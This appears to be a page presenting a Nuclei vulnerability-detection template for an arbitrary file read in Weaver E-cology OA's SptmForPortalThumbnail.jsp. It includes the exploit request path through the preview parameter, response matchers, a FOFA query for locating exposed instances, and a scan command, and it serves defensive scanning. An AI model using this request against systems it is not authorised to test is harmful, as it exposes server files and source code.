Skip to content

OA E-Weaver SptmForPortalThumbnail - Arbitrary File Read

ID: weaver-sptmforportalthumbnail-lfi

Severity: high

Author: SleepingBag945

Tags: weaver,e-cology,oa,lfi

The controllable preview parameters of SptmForPortalThumbnail.jsp are not filtered and are directly spliced to the web root directory for file downloading.

id: weaver-sptmforportalthumbnail-lfi
info:
name: OA E-Weaver SptmForPortalThumbnail - Arbitrary File Read
author: SleepingBag945
severity: high
description: |
The controllable preview parameters of SptmForPortalThumbnail.jsp are not filtered and are directly spliced to the web root directory for file downloading.
reference:
- http://124.223.89.192/archives/e-cology8-14
- https://github.com/GREENHAT7/pxplan/blob/main/xray_pocs/yaml-poc-weaver-weaver_e_cology_oa-readfile-CT-479157.yml
classification:
cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: weaver
product: e-cology
fofa-query: app="泛微-E-Weaver"
tags: weaver,e-cology,oa,lfi
http:
- method: GET
path:
- "{{BaseURL}}/portal/SptmForPortalThumbnail.jsp?preview=portal/SptmForPortalThumbnail.jsp"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "weaver.general.BaseBean"
- "getServletConfig"
condition: and
- type: word
part: header
words:
- "image/png"
- type: status
status:
- 200
# digest: 4b0a00483046022100e98ed0c22e952a430fbb7743854a505209f76331f0cf01888efa78b9b63af4c2022100fd69fb6bd94ae33354370377193b3cb8092a6dfcbecee77319d846b2f9b769aa:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-sptmforportalthumbnail-lfi.yaml"

View on Github